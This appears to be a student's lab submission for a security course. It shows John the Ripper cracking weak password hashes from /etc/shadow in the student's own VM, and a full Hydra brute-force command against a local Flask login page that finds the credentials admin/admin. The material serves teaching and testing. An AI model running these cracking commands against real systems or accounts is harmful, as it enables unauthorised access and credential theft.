1. Use John to crack your /etc/shadow in your VM. Include the output below. Let John run for a max of 1 hour. Do not include any sensitive passwords, if they are throw away passwords (like aggie) then leave them in.

```
root@amata-VirtualBox:/home/amata# john /etc/shadow
Loaded 3 password hashes with 3 different salts (cryp)
Warning: OpenMP is disabled; a non-OpenMP build may be
Press 'q' or Ctrl-C to abort, almost any other key for
Og 0:00:00:07 56% 1/3 0g/s 528.0p/s 528.0c/s 528.0C/s
Og 0:00:00:09 64% 1/3 0g/s 526.8p/s 526.8c/s 526.8C/s
Og 0:00:00:13 85% 1/3 0g/s 525.6p/s 525.6c/s 525.6C/s
123456
Og 0:00:00:16 98% 1/3 0g/s 521.0p/s 521.0c/s 521.0C/s
915
123 (aggie)
```

2. Use Hydra to crack the Login page. Include the command you ran and the cracked password

```
amata@amata-VirtualBox:~/pyflask/pyflask$ hydra -l admin -P 10-million-password
-list-top-1000000.txt 127.0.0.1 -s 5000 http-post-form "/login:username=^USER^&
password=^PASS^:F=Error"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in m
ilitary or secret service organizations, or for illegal purposes (this is non-b
inding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-11-18 12:45
[DATA] max 16 tasks per 1 server, overall 16 tasks, 999998 login tries (l:1/p:9
99998), ~62500 tries per task
[DATA] attacking http-post-form://127.0.0.1:5000/login:username=^USER^&password
=^PASS^:F=Error
[5000][http-post-form] host: 127.0.0.1 login: admin password: admin 1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 7 final worker threads did not complete
until end.
[ERROR] 7 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-11-18 12:45
:24
```